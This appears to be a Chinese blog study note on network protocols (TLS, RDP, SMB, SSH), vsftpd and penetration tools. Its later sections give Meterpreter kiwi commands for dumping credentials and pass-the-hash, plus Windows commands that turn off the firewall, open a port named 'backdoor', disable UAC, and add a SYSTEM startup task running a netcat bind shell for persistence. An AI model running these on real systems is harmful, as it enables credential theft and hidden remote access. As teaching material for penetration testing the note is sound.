一点点安全资料:网络安全扩展
协议扩展
加密协议SSL/TLS
简介
SSL(Secure Sockets Layer)和TLS(Transport Layer Security)是加密协议,设计用来提供网络通信的安全性和数据完整性。尽管TLS是SSL的后继者,但两者的核心目标相同:保护网络通信免受窃听和篡改,同时验证通信双方的身份。这些协议主要用在应用层协议(如HTTP)之上,形成如HTTPS这样的安全版本
建立连接的过程
握手阶段:
- 客户端和服务器交换“hello”消息,协商加密协议的版本,选择密码套件,以及交换其他必要的安全参数。
- 服务器身份验证:服务器发送其数字证书给客户端。客户端使用证书中的公钥验证服务器的身份,并确保证书由受信任的证书颁发机构(CA)签发。
- 密钥交换:客户端和服务器协商生成一个共享的秘密,用于会话的对称加密。这通常通过使用非对称加密技术来安全地交换对称密钥完成。
加密阶段:
- 会话密钥:一旦握手完成,客户端和服务器将使用协商的对称密钥加密通信。这确保了数据的保密性和完整性。
安全通信:客户端和服务器使用协商的参数安全地交换信息,直到会话结束。
安全特性
- 加密:SSL/TLS使用对称加密保护数据传输的私密性。选择的对称加密算法和密钥在握手过程中协商。
- 身份验证:通过使用数字证书,SSL/TLS不仅可以验证服务器的身份,还可以选择性地验证客户端的身份,提供双向身份验证。
- 数据完整性:消息摘要算法(如SHA-256)用于创建数据的散列版本,以验证数据在传输过程中未被篡改,从而保证数据的完整性。
SSL到TLS的进化
随着时间的推移,SSL协议已经发展成TLS协议,TLS引入了更多的安全特性和改进:
- 更强的加密算法:TLS支持更强大、更安全的加密算法,如AES,以及更安全的密钥交换机制,如ECDHE。
- 更严格的安全要求:TLS协议的新版本(如TLS 1.2和1.3)删除了旧的、不安全的密码套件和加密技术,强化了安全性。
- 性能改进:特别是TLS 1.3减少了握手时的往返次数,从而加快了连接的建立速度,并改进了安全性。
- 前向保密:TLS支持前向保密,这意味着即使攻击者获取了服务器的私钥,也无法解密之前的会话记录。
演示SSL/TLS的使用
要完整演示SSL/TLS的使用,我们可以通过一个简化的例子来理解SSL/TLS加密通信的基本步骤。这里,我们将使用命令行工具和伪代码来模拟客户端和服务器之间的SSL/TLS握手过程,并展示如何加密和传输数据。
步骤1:服务器配置SSL/TLS
1. **生成密钥对和证书**:
- 服务器需要一个公钥和私钥对,以及一个由证书颁发机构(CA)签发的证书。
- 使用OpenSSL生成密钥对和自签名证书(仅作演示,实际应用中应使用CA签发的证书):
```bash
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=yourservername.com"
```
2. **配置服务器以使用SSL/TLS**:
- 服务器软件(如Apache、Nginx)需要配置以使用生成的私钥和证书。
- 示例配置伪代码:
```plaintext
server {
listen 443 ssl;
ssl_certificate /path/to/server.crt;
ssl_certificate_key /path/to/server.key;
...
}
```
步骤2:客户端发起SSL/TLS连接
1. **客户端发送客户端Hello消息**:
- 包括客户端支持的SSL/TLS版本、提议的加密算法(密码套件)列表、随机数等。
- 使用curl命令行工具模拟HTTPS请求:
curl -v https://yourservername.com
2. **服务器响应服务器Hello消息**:
- 选择一个客户端和服务器都支持的协议版本和密码套件,并发送服务器的数字证书。
3. **客户端验证服务器证书**:
- 客户端验证证书的有效性和信任链。
4. **密钥交换和密钥协商**:
- 客户端使用服务器的公钥加密一个预主密钥(pre-master secret)并发送给服务器。
- 服务器使用自己的私钥解密以获取预主密钥。
5. **完成握手**:
- 双方使用预主密钥派生出会话密钥(session keys)用于后续通信的加密。
步骤3:加密通信
- 客户端和服务器使用协商的密码套件和会话密钥加密通信数据。
- 任何传输的数据都使用这些密钥进行加密和解密,确保通信的安全。
步骤4:会话结束
- 通信结束时,双方废弃会话密钥,确保会话的前向保密。
注意事项
- 这个演示是高度简化的,实际SSL/TLS协议包含更多的细节和安全措施。
- 真实世界的应用要求使用可信的CA签发的证书,而不是自签名证书。
- SSL/TLS配置和使用要根据实际的服务器软件和客户端库进行调整。
通过这个基本的演示,你可以了解SSL/TLS加密通信是如何在客户端和服务器之间建立的,以及它是如何保障数据在传输过程中的安全性和完整性。
RDP远程桌面协议
RDP基于客户端/服务器模型工作。在这种模型中,远程桌面客户端连接到运行RDP服务器软件的远程计算机。数据交换经过加密,确保了传输过程中的安全性和隐私保护。
- 客户端:任何请求连接的设备,需要安装RDP客户端软件。Windows系统自带远程桌面连接客户端,而其他操作系统(如macOS、Linux、iOS和Android)可以使用第三方客户端。
- 服务器:被远程访问的计算机,需要配置并运行RDP服务器端。在Windows操作系统中,这通常意味着启用"远程桌面"功能。
主要特性
- 图形界面传输:RDP提供了高效的图形界面数据压缩和传输机制,确保远程会话流畅。
- 设备重定向:允许远程会话使用本地打印机、剪贴板、硬盘驱动器等资源。
- 端口和安全性:默认情况下,RDP使用TCP端口3389。所有RDP会话数据都可以加密,减少安全风险。
- 会话隔离:每个远程桌面会话都在其独立的虚拟会话中运行,不会影响其他用户的会话。
安全性和最佳实践
虽然RDP提供了便利的远程访问能力,但它也可能成为攻击者的目标。遵循一些最佳实践可以增强RDP会话的安全性:
- 使用强密码:确保所有用户账户都使用强密码。
- 更改默认端口:更改RDP的默认监听端口(3389),减少自动扫描的风险。
- 限制访问:通过防火墙规则限制可以访问RDP服务的IP地址。
- 启用网络级别认证(NLA):NLA为RDP会话提供了一个额外的认证层次,在会话建立之前进行。
- 使用VPN:通过VPN连接访问RDP服务,增加一层网络安全保护。
- 定期打补丁和更新:确保操作系统和RDP软件定期更新,以保护免受已知漏洞的攻击。
使用方法
win+r打开命令行
mstsc:进入远程桌面
输入目标ip及密码
SMB文件共享协议
SMB(Server Message Block)协议是一种应用层网络协议,旨在实现网络上的文件、打印机、串行端口以及进程间通信的共享访问。它主要用于Windows操作系统之间的网络通信,但也可以在Linux和macOS系统上实现,并广泛用于企业和家庭网络环境。SMB通过允许计算机在网络上共享文件和打印机资源,使网络资源的访问变得更加简单和高效。
SMB的工作原理
SMB协议工作在会话层之上,使用TCP/IP协议(通常是端口445)进行传输。它可以在局域网(LAN)或通过互联网进行通信。SMB协议通过发送请求和响应消息在客户端和服务器之间建立通信,支持诸如文件打开、读取、写入、创建和删除、锁定及解锁等操作。
SMB协议的版本
随着时间的推移,SMB协议经历了多次更新和改进,主要版本包括:
- SMB 1.0:最早的版本,提供了基本的文件共享功能。
- SMB 2.0:引入了性能改进、安全性增强和错误更少的新协议版本,随Windows Vista和Windows Server 2008发布。
- SMB 2.1:进一步提升了性能,增加了新的功能,随Windows 7和Windows Server 2008 R2发布。
- SMB 3.0:为了提高数据传输的安全性和效率,增加了大量新特性,包括端到端加密、改进的故障恢复能力等,随Windows 8和Windows Server 2012推出。
- SMB 3.1.1:增加了进一步的安全性能提升,如更好的加密算法,随Windows 10和Windows Server 2016发布。
ssh远程登录
SSH,全称为Secure Shell,是一种网络协议,用于加密方式远程登录和操作网络设备,保障数据传输的安全性。SSH通过在网络中创建安全的隧道来实现数据加密传输,使得在不安全的网络环境中通信也能保持私密性和安全性。
SSH的工作原理
SSH工作在应用层,基于客户端-服务器模型。用户(客户端)通过SSH客户端软件连接到SSH服务器,数据传输过程中使用密钥对进行加密,确保信息安全。SSH的主要特性
- **加密传输**:SSH使用强加密技术,确保数据在传输过程中的安全性和完整性,防止数据被截获和篡改。
- **身份验证**:SSH支持多种认证机制,如基于密码的认证、公钥认证等,确保只有授权用户可以访问服务器。
- **端口转发**:SSH允许将任意TCP端口通过加密隧道转发,常用于访问受限网络资源或创建安全的数据传输路径。
- **代理功能**:SSH可以作为代理服务器,将其他应用程序的网络流量通过SSH隧道转发,提高其他应用的安全性。SSH使用场景
- **远程登录**:通过SSH可以安全地远程登录到服务器,进行命令行操作,是系统管理员和开发人员常用的工具。
- **安全文件传输**:SSH的文件传输协议(SFTP)提供了一个安全的方法来上传和下载文件。
- **远程命令执行**:SSH允许用户在远程服务器上执行命令,常用于自动化脚本和维护任务。
- **网络服务加密**:通过SSH端口转发,可以为不支持加密的网络服务如SMTP和HTTP提供安全的加密支持。使用方法:
打开命令行
ssh 用户名@ip地址
软件扩展
vsftpd
vsftpd
(Very Secure FTP Daemon,非常安全的FTP守护进程)是一款以安全为设计重点的FTP服务器软件,主要运行在Unix和类Unix操作系统上。它因其高性能、稳定性和尤其是对安全性的重视而广受好评。这里有一些关键点,让你对vsftpd有一个全面的了解:主要特性
- 安全性:
vsftpd
提供了强大的安全特性,包括对SSL/TLS的支持,这使得通过vsftpd传输的数据可以进行加密,有效防止数据在传输过程中被截取或窃听。- 性能:即使在处理大量并发连接的情况下,
vsftpd
也能保持良好的性能,这使其成为高流量网站和服务的理想选择。- 简易配置:尽管
vsftpd
提供了丰富的配置选项,以满足不同用户的需求,但其默认配置已经足够安全,对新手友好,同时也为经验丰富的管理员提供了灵活的配置可能。- 广泛的应用:
vsftpd
支持标准FTP协议,这意味着它可以与各种FTP客户端软件兼容,无论是命令行工具还是图形界面应用。安装和配置
vsftpd
可以通过大多数Unix和Linux发行版的包管理系统轻松安装。安装完成后,主要的配置工作是通过编辑其配置文件/etc/vsftpd/vsftpd.conf
来进行,其中可以设置匿名访问、用户权限、加密选项等多种参数。
渗透工具扩展
kiwi模块
Kiwi模块是Meterpreter的一个扩展,专门设计用于提取和操纵Windows登录凭证。它基于著名的Mimikatz工具,由Benjamin Delpy开发。Mimikatz是一款强大的安全工具,用于查看和保存认证凭证和敏感数据,尤其是Windows系统上的。Kiwi模块将这种功能集成到Meterpreter会话中,使得渗透测试者和攻击者可以在不离开Meterpreter环境的情况下执行类似操作。
主要功能
- 提取明文密码:Kiwi可以从内存中提取存储的明文密码,包括当前登录的用户和其他通过某些认证方式登录的用户。
- 获取登录会话信息:能够列出当前的登录会话以及对应的用户信息。
- 导出证书和密钥:Kiwi能够导出系统中存储的各种加密密钥和证书,包括但不限于Wi-Fi密码和Kerberos票据。
- Pass-the-Hash/Pass-the-Ticket:支持Pass-the-Hash和Pass-the-Ticket攻击,允许攻击者使用哈希值或票据而不是密码来伪装成其他用户。
- 凭证转储:能够转储LSASS(本地安全权限分配子系统)进程内存,这是Windows中管理登录凭证的关键组件。
使用场景
Kiwi模块的使用场景主要集中在渗透测试和安全评估的后期阶段,例如:
- 凭证收集:在成功渗透目标系统后,Kiwi可以用来收集系统上的登录凭证,以便进一步的横向移动或深入攻击。
- 访问控制绕过:通过提取的凭证或Pass-the-Hash/Ticket技术,攻击者可以绕过访问控制,访问受保护的资源。
- 持久化访问:通过导出的密钥和证书,攻击者可以创建访问后门,保持对受害系统的持续访问。
命令详解
给你提供一个详细的Kiwi模块使用示例,以展示如何在Meterpreter会话中执行基本的凭证提取操作。假设你已经成功利用了一个漏洞并且获得了一个Meterpreter会话。
### **步骤 1: 加载Kiwi模块**
首先,你需要确保Kiwi模块已经加载到你的Meterpreter会话中。你可以通过以下命令加载Kiwi(如果尚未加载):
meterpreter > load kiwi这个命令将加载Kiwi模块,使其准备好执行相关的凭证提取操作。
### **步骤 2: 提取登录凭证**
一旦Kiwi模块加载完成,你可以使用不同的命令来提取或操作系统上的凭证。下面是一些常用的Kiwi命令及其用途:
- 查看明文密码:
meterpreter > kiwi_cmd creds_all这个命令尝试从内存中提取并显示存储的登录凭证,包括明文密码。
- 导出证书和密钥:
meterpreter > kiwi_cmd crypto::certificates此命令用于导出存储在系统中的证书和密钥。
- 执行Pass-the-Hash攻击:
meterpreter > kiwi_cmd sekurlsa::pth /user:目标用户名 /domain:目标域名 /ntlm:NTLM哈希 /run:命令这个命令使用提供的NTLM哈希来模拟目标用户的身份,执行指定的命令。
**步骤 3: 利用提取的凭证**
提取的凭证可以用于多种目的,包括但不限于:
- **横向移动**:使用提取的凭证来访问网络中的其他系统。
- **访问受限资源**:使用提取的登录凭证访问特定的网络资源或数据。
- **维持访问**:通过提取的凭证创建新的访问通道,以保持对受害系统的访问权限。### **安全和防御**
虽然以上示例展示了如何使用Kiwi模块进行攻击,但同样重要的是要采取适当的安全措施来保护系统免受此类攻击。这包括定期更新系统和应用程序、使用复杂密码、启用多因素认证、限制用户权限等。
通过了解攻击者的技术和策略,安全专业人员可以更好地防御此类攻击,保护组织的资产和信息安全。
nc:瑞士军刀
`nc`,或称为`netcat`,是一个非常强大的网络工具,有时候被昵称为“网络界的瑞士军刀”。它设计简洁但功能强大,主要用于读取和写入网络连接,支持TCP和UDP协议。`nc`的功能包括端口扫描、文件传输、网络服务测试、以及作为客户端或服务器在任意端口上监听。
主要功能:
1. **端口扫描**:`nc`可以用来检测目标主机的开放端口,帮助了解目标主机提供的网络服务。
2. **网络监听**:在指定端口上监听进入的连接,可以用于调试或作为简易的网络服务运行。
3. **建立连接**:作为客户端,`nc`可以连接到任意主机的指定端口,用于测试网络连接、发送数据或文件。
4. **数据转发和隧道**:`nc`可以用来设置简单的代理和隧道,将数据从一端口转发到另一个端口。
5. **文件传输**:利用`nc`的网络连接,可以在两台计算机之间传输文件。通过组合使用文件重定向和管道,可以轻松实现文件的发送和接收。
使用示例:
- **端口扫描**:检测目标主机的80端口是否开放
nc -zv target_host 80
- **监听端口**:在本机的1234端口上监听连接
nc -lvp 1234
- **文件传输**:
- 发送文件:在发送端执行
nc -w 3 target_host 1234 < file_to_send.txt
- 接收文件:在接收端执行
nc -lvp 1234 > received_file.txt
windows命令行扩展
更改指定网卡网络配置
在Windows命令行中配置网卡的IPv4地址可以通过`netsh`命令行工具完成。这个工具允许你查看和修改网络配置,包括IP地址、子网掩码以及默认网关等。下面是如何使用`netsh`来配置IPv4地址的步骤:
查看现有网络适配器
1. 打开命令提示符(CMD):按下`Windows`键,然后输入`cmd`,在搜索结果中点击“命令提示符”,或者以管理员权限运行以获得更高的权限。
2. 输入以下命令来列出所有网络适配器及其状态:
netsh interface ip show config通过这个命令,你可以找到你想要配置的网络适配器的名称。注意适配器的名称可能包含空格,后续命令中需要正确引用。
配置IPv4地址
假设你要为名为“Ethernet”的适配器设置新的IPv4地址。你需要知道要设置的IP地址、子网掩码、以及(可选的)默认网关地址。假设我们要将IP地址设置为`192.168.1.100`,子网掩码为`255.255.255.0`,默认网关为`192.168.1.1`:
1. 设置IP地址和子网掩码:
netsh interface ip set address name="Ethernet" static 192.168.1.100 255.255.255.02. (可选)设置默认网关:
netsh interface ip set address name="Ethernet" gateway=192.168.1.1 gwmetric=1注意事项
- 替换`Ethernet`为你的实际网络适配器名称。
- 替换IP地址、子网掩码、和默认网关为你的网络配置。
- 如果你不确定这些设置,请联系你的网络管理员。
- 配置IP地址时要确保该IP地址在局域网内是唯一的,避免IP地址冲突。
- 在执行这些命令后,网络连接可能会暂时中断,直到新配置生效。重置为自动获取IP
如果之后你想要将网络适配器配置回自动获取IP地址(即DHCP),可以使用以下命令:
netsh interface ip set address name="Ethernet" source=dhcp并且,如果设置了静态网关,你可能还需要移除它:
netsh interface ip delete address name="Ethernet" gateway=all这些步骤让你能够手动配置网络适配器的IPv4地址,以适应不同的网络环境和需求。
更改字符编码:
C:\Windows\system32> chcp 65001
设置防火墙状态指定端口开放
C:\Windows\system32> netsh advfirewall set allprofiles state off
通过netsh工具将Windows防火墙的所有配置文件(公共、私有、域)都设置为关闭状态
C:\Windows\system32> netsh advfirewall set allprofiles state on
打开防火墙
C:\Windows\system32> netsh firewall add portopening tcp 444 backdoor enable all
开启TCP协议的444端口,允许所有网络配置文件通过该端口进行通信,规则名称为backdoor
禁用用户账户控制(UAC)
C:\Windows\system32>reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
The operation completed successfully.
命令解析
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /freg ADD: 这是Windows注册表编辑器命令行工具reg.exe的一个操作,用于添加一个新的注册表键值或更新现有的键值。
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System: 指定了注册表项的路径。这里,HKLM(HKEY_LOCAL_MACHINE)是顶级注册表项之一,包含了系统的配置信息。路径指向Windows系统的策略设置部分。
/v EnableLUA: /v参数后面跟随的是要操作的注册表值的名称,在这个例子中是EnableLUA。EnableLUA是控制用户账户控制(UAC)是否启用的注册表值。
/t REG_DWORD: /t参数指定了注册表值的类型,在这里是REG_DWORD,表示数据类型为32位数字。
/d 0: /d参数后面跟随的是要设置的数据值。0表示禁用UAC。
/f: 强制执行命令而不提示用户确认。
退出windows命令行终端
C:\Windows\system32>exit
创建定时任务
命令schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart是用来在Windows系统上创建一个定时任务,这个任务会在系统启动时自动执行。下面是这个命令的详细解析:
命令组成
- schtasks:这是Windows中用来创建、删除、查询或修改系统计划任务的命令行工具。
- /create:这个参数指示`schtasks`命令创建一个新的计划任务。
- /tn "nc":/tn参数后面跟随的是任务的名称,在这里任务被命名为"nc"。
- /ru system:这个参数指定任务将以何种用户身份运行。在这个例子中,`/ru system`意味着任务将以系统账户的权限运行,系统账户具有广泛的权限并且可以访问系统上的大多数资源。
- /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe":`/tr`参数后面跟随的是任务实际执行的命令或程序。这里指定的是执行`nc.exe`(Netcat),使用`-Ldp 444`选项在本地监听444端口,并且当连接建立时使用`-e cmd.exe`选项来执行命令提示符。
- /sc onstart:这个参数定义了任务的调度周期。`onstart`表示任务会在每次系统启动时运行。
操作含义
- 当这个计划任务被创建后,每次计算机启动时,系统会自动以系统权限运行`nc.exe`,监听444端口,并准备在接收到连接时提供一个命令行会话。
- 这种配置通常被用于持久性攻击,允许攻击者在系统重启后仍然可以通过网络访问受影响的系统。
- 使用系统账户运行这个任务赋予了最高级别的权限给执行的命令,从而可能会带来重大的安全风险。
查看网络连接,路由表,接口统计
命令`netstat -an`是一个在多种操作系统上常用的网络命令,用于显示网络连接、路由表、接口统计等信息。特别是,在Windows、Linux和macOS等操作系统中,`netstat`命令都非常有用。现在,让我们深入了解这个命令的两个主要选项:`-a`和`-n`,以及它们共同展示的信息。
命令选项详解
-a(all):这个选项让`netstat`显示所有的活动连接和监听端口。不仅仅是TCP连接,还包括UDP端口的监听状态。默认情况下,`netstat`可能不显示监听端口或者仅显示活动的TCP连接,但加上`-a`选项后,可以获取更全面的网络活动视图。
-n(numeric):通常,`netstat`会尝试将地址和端口号解析为易于理解的名称,例如将本地地址`127.0.0.1`显示为`localhost`,或者将常用的端口号如`80`显示为`http`。使用`-n`选项后,`netstat`将不进行这种解析,而是直接显示数字形式的地址和端口号。这对于避免解析导致的延迟和当名称解析不可用时非常有用。
命令输出解析
当你运行`netstat -an`时,你会得到一份当前机器上的网络连接和监听端口的清单,这份清单按协议分类,包括TCP和UDP。对于每个连接或监听端口,它会显示:
协议:显示连接使用的协议,如TCP或UDP。
本地地址:显示本机的IP地址和端口号。在`-n`模式下,地址和端口都以数字形式显示。
外部地址:显示远程连接的IP地址和端口号。对于监听端口,这里通常显示为`*`或`0.0.0.0`,表示监听所有IP地址。
状态:对于TCP连接,显示当前的连接状态,如`ESTABLISHED`、`LISTENING`或`TIME_WAIT‘等。
windows安全组件
用户账户控制(UAC)
用户账户控制(UAC)是Windows操作系统中的一个安全组件,它旨在增强系统安全性,防止未经授权的更改。UAC通过在执行需要提升权限的任务时提示用户确认,从而帮助避免恶意软件和其他威胁对系统的潜在破坏。以下是关于UAC的详细解释:
UAC的工作机制
- **权限提升请求**:当一个应用或任务需要执行需要管理员权限的操作时,UAC会显示一个对话框,询问用户是否授权该操作。这一步骤确保了没有用户的明确许可,系统不会进行可能影响系统配置或安全的更改。
- **限制模式运行**:即使用户以管理员账户登录,大多数应用和任务也是以限制权限模式运行的。只有在用户明确同意提升应用权限时,应用才能以管理员权限运行。
UAC的重要性
- **防止未经授权的更改**:UAC通过要求用户确认,减少了恶意软件或用户无意中进行的可能对系统造成损害的更改。
- **强制实行最小权限原则**:通过运行限制模式,即使是管理员用户也不会不必要地使用高权限,从而降低了系统面临的风险。
- **提高安全意识**:UAC的提示可以提醒用户注意正在执行的操作可能对系统安全性或配置造成的影响。
配置UAC
Windows允许用户根据需要调整UAC的敏感度。通过访问“控制面板” > “用户账户” > “更改用户账户控制设置”,用户可以选择不同的通知级别。这些级别从从不通知(最低安全性)到始终通知(最高安全性),用户可以根据自己的需要选择一个合适的设置。
相关文章:
一点点安全资料:网络安全扩展
协议扩展 加密协议SSL/TLS 简介 SSL(Secure Sockets Layer)和TLS(Transport Layer Security)是加密协议,设计用来提供网络通信的安全性和数据完整性。尽管TLS是SSL的后继者,但两者的核心目标相同&#x…...

vscode的源码插件GitHub Repositories
打铁还需自身硬,需要不断提升自我,提升自我的一种方式就是看源码,站在更高的维度去理解底层原理,以便以后更好的开发和解决问题,由于源码一个动不动就是几个G甚至十几个G,如果一个个源码下载下来࿰…...

如何定义快速开发平台框架?有何突出优势?
作为提质增效的利器软件,快速开发平台框架如何能在众多同行中取胜?又是凭借什么优势特点在激烈的市场竞争中获得众多客户的青睐与信任?不管是从企业角度、服务商角度,还是使用者的角度来说,做好流程化进程,…...
二分练习题——奶牛晒衣服
奶牛晒衣服 题目分析 这里出现了“弄干所有衣服的最小时间”,那么可以考虑用二分去做。 第一阶段二段性分析 假设当前需要耗费的时间为mid分钟,如果mid分钟内可以烘干这些衣服,那么我们可以确定右边界大于mid的区间一定也可以。但是此时我…...
python工具包【1】 -- 不同操作系统路径转换
python工具包【1】 – 不同操作系统路径转换 以下的工具类的作用是根据不同的操作系统,将代码中的路径转换成适应操作系统的路径。 代码 import osclass Base_Tools_Cls:def BasePathConvert_func(self, path):根据不同的操作系统,将路径进行转换为不…...
JAVA中@FunctionalInterface 注解使用
FunctionalInterface是Java 8引入的一个注解,用于标记一个接口为函数式接口。函数式接口是指只有一个抽象方法(除了Object类中的默认方法如equals、hashCode等)的接口。在Java 8及以后版本中,函数式接口可以与lambda表达式配合使用…...

【Spring Cloud Alibaba】9 - OpenFeign集成Sentinel实现服务降级
目录 一、简介Sentinel 是什么如何引入Sentinel 二、服务搭建1.安装Sentinel控制台1.1 下载1.2 启动1.3 访问 2.改造服务提供者cloud-provider服务2.1 引入依赖2.2 添加API2.3 添加配置文件 3.改造cloud-consumer-feign服务3.1 引入依赖3.2 添加Feign接口3.3 添加服务降级类3.4…...

Chrome浏览器如何跟踪新开标签的网络请求?
在测试一个东西的时候,它虽然是a链接,但是,是由前端在js里写跳转的。我又必须要知道它的跳转链接,只能用截屏的方式来捕捉浏览器的地址栏链接 打开浏览器控制台(F12)点击红色箭头打钩为弹出式窗口自动打开DevTools 英文版调试参…...

html写一个登录注册页面
<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>注册登录界面Ⅰ</title><link rel"stylesheet" href"https://cdnjs.cloudflare.com/ajax/libs/normalize/8.0.1/normalize.mi…...
Stable Diffusion|Ai赋能电商 Inpaint Anything
1. 背景介绍 随着人工智能技术的不断发展,其在电商领域的应用也越来越广泛。其中,图像修复技术在电商领域有着重要的应用价值。例如,在商品图片处理中,去除图片中的水印、瑕疵等,可以提高商品图片的质量和美观度。 2…...

启明智显M系列--工业级HMI芯片选型表
本章主要介绍启明智显M系列HMI主控芯片: 纯国产自主, RISC-V 内核,配备强大的 2D 图形加速处理器、PNG/JPEG 解码引擎、H.264解码;工业宽温,提供全开源SDK;1秒快速开机启动的特性,极大地提高了…...

C语言面试题之最小高度树
最小高度树 实例要求 1、给定一个有序整数数组,元素各不相同且按升序排列;2、编写一个算法,创建一棵高度最小的二叉搜索树;示例: 给定有序数组: [-10,-3,0,5,9],一个可能的答案是:[0,-3,9,-10,null,5],它…...

【随笔】Git 高级篇 -- 整理提交记录(上)cherry-pick(十五)
💌 所属专栏:【Git】 😀 作 者:我是夜阑的狗🐶 🚀 个人简介:一个正在努力学技术的CV工程师,专注基础和实战分享 ,欢迎咨询! 💖 欢迎大…...

上门服务小程序|上门服务系统|上门服务软件开发流程
在如今快节奏的生活中,上门服务小程序的需求越来越多。它们向用户提供了方便、高效的服务方式,解决了传统服务行业中的很多痛点。如果你也想开发一个上门服务小程序,以下是开发流程和需要注意的事项。 1、确定需求:在开始开发之前…...

Vuex(vue 项目中实现 频繁、大范围数据共享的技术方案)
参考文档(点击查看) 好处 1.数据的存取一步到位,不需层层传递 2.数据的流动非常清晰 3.存储在Vuex中的数据都是响应式的(数据更新后,使用数据的组件都会自动更新) Vuex基础配置 npm i vuex3.6.2state中用来存储数据,…...

【Spring Cloud】服务容错中间件Sentinel入门
文章目录 什么是 SentinelSentinel 具有以下特征:Sentinel分为两个部分: 安装 Sentinel 控制台下载jar包,解压到文件夹启动控制台访问了解控制台的使用原理 微服务集成 Sentinel添加依赖增加配置测试用例编写启动程序 实现接口限流总结 欢迎来到阿Q社区 …...
算法刷题记录 Day36
算法刷题记录 Day36 Date: 2024.04.02 lc 416. 分割等和子集 //2. 一维数组 class Solution { public:bool canPartition(vector<int>& nums) {// 将问题转化为从数组中任意取数,使得容量为数组总和一半的背包内的价值尽可能大。// dp[j]表示容积为j的…...
面试必问 - CSS 中元素居中小技巧
在网页设计中,居中是一个至关重要的布局技巧,能够确保你的页面在不同设备和屏幕尺寸上呈现出优雅的样式。 在这篇文章中,将介绍一些 CSS 居中的基本技巧,适用于各种场景。 1. 水平居中 文本水平居中 通过设置 text-align: cen…...
Chatgpt润色论文
使用ChatGPT进行论文润色时的指令 1.英语学术润色 模板:Below is a paragraph from an academic paper. Polish the writing to meet the academic style,improve the spelling, grammar, clarity, concision and overall readability. When necessary, rewrite th…...

51单片机实验02- P0口流水灯实验
目录 一、实验的背景和意义 二、实验目的 三、实验步骤 四、实验仪器 五、实验任务及要求 1,从led4开始右移 1)思路 ①起始灯 (led4) ②右移 2)效果 3)代码☀ 2,从其他小灯并向右依…...
挑战杯推荐项目
“人工智能”创意赛 - 智能艺术创作助手:借助大模型技术,开发能根据用户输入的主题、风格等要求,生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用,帮助艺术家和创意爱好者激发创意、提高创作效率。 - 个性化梦境…...

【JVM】- 内存结构
引言 JVM:Java Virtual Machine 定义:Java虚拟机,Java二进制字节码的运行环境好处: 一次编写,到处运行自动内存管理,垃圾回收的功能数组下标越界检查(会抛异常,不会覆盖到其他代码…...
Go 语言接口详解
Go 语言接口详解 核心概念 接口定义 在 Go 语言中,接口是一种抽象类型,它定义了一组方法的集合: // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的: // 矩形结构体…...

CentOS下的分布式内存计算Spark环境部署
一、Spark 核心架构与应用场景 1.1 分布式计算引擎的核心优势 Spark 是基于内存的分布式计算框架,相比 MapReduce 具有以下核心优势: 内存计算:数据可常驻内存,迭代计算性能提升 10-100 倍(文档段落:3-79…...

蓝牙 BLE 扫描面试题大全(2):进阶面试题与实战演练
前文覆盖了 BLE 扫描的基础概念与经典问题蓝牙 BLE 扫描面试题大全(1):从基础到实战的深度解析-CSDN博客,但实际面试中,企业更关注候选人对复杂场景的应对能力(如多设备并发扫描、低功耗与高发现率的平衡)和前沿技术的…...

全球首个30米分辨率湿地数据集(2000—2022)
数据简介 今天我们分享的数据是全球30米分辨率湿地数据集,包含8种湿地亚类,该数据以0.5X0.5的瓦片存储,我们整理了所有属于中国的瓦片名称与其对应省份,方便大家研究使用。 该数据集作为全球首个30米分辨率、覆盖2000–2022年时间…...
爬虫基础学习day2
# 爬虫设计领域 工商:企查查、天眼查短视频:抖音、快手、西瓜 ---> 飞瓜电商:京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空:抓取所有航空公司价格 ---> 去哪儿自媒体:采集自媒体数据进…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...

springboot整合VUE之在线教育管理系统简介
可以学习到的技能 学会常用技术栈的使用 独立开发项目 学会前端的开发流程 学会后端的开发流程 学会数据库的设计 学会前后端接口调用方式 学会多模块之间的关联 学会数据的处理 适用人群 在校学生,小白用户,想学习知识的 有点基础,想要通过项…...

MacOS下Homebrew国内镜像加速指南(2025最新国内镜像加速)
macos brew国内镜像加速方法 brew install 加速formula.jws.json下载慢加速 🍺 最新版brew安装慢到怀疑人生?别怕,教你轻松起飞! 最近Homebrew更新至最新版,每次执行 brew 命令时都会自动从官方地址 https://formulae.…...